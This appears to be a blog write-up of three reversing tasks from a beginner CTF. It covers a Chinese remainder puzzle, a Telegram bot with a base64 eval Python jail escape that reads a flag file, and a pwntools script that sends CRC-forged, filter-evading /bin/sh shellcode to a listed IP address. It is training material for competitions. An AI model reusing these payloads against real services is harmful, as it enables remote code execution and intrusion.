This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.
Reverse 100:
#include <stdio.h> #include <string.h> int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l != 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0; }
First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.
Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this
# Source Generated with Decompyle++ # File: rev200_bot_7b541a1.pyc (Python 2.7) import config import traceback import re from base64 import * from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHide sec_state = { } def process_message(bot, u): Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token) bot.update_bot_info().wait() print bot.username last_update_id = 0 while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue
So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;
#coding: utf-8 sec_state = { } user = "A" sec_state[user] = { 'mode': 15, 'stage': 7 } # bruteforce number sec_state[user]['mode'] = 15 r = [] while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: break print sec_state[user]['mode']
Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`
Reverse 300:
Let's get some fun.
let reverse this (or not?), look at handler (the main function)
ssize_t __cdecl handler(int fd) { ssize_t result; // eax@1 unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if ( !(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result; }
So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:
1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools
, you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;
from pwn import * import socket, struct, telnetlib def getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return data def crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffff d = "" d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0)) d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1)) # i need dup2 because the program use itself as server d += asm(pwnlib.shellcraft.i386.linux.sh()) fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68') print len(fsc) fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again. print hex(crc32(fsc)) #yes, i love my custom socket lib 🙁 s = socket.create_connection(("78.46.101.237", 3177)) s.send(p32(len(fsc))) s.send(fsc) s.send("\n") s.send("cat flag*\n") print s.recv(1024)
To be continued....
in [Reverse 100] problem, other simple way is to use Klee to solve
#include
#include
#include
#define ITERS 12
int main() {
char buf[ITERS];
klee_make_symbolic(buf, ITERS, "012345");
unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16);
unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16);
unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16);
unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16);
if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059))))
return 2;
if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931))))
return 3;
if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651))))
return 4;
if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510))))
return 5;
// printf("Congratulations %s is flag\n",buf);
klee_assert(0);
return 0;
}
nice, I'll try KLEE next time 😀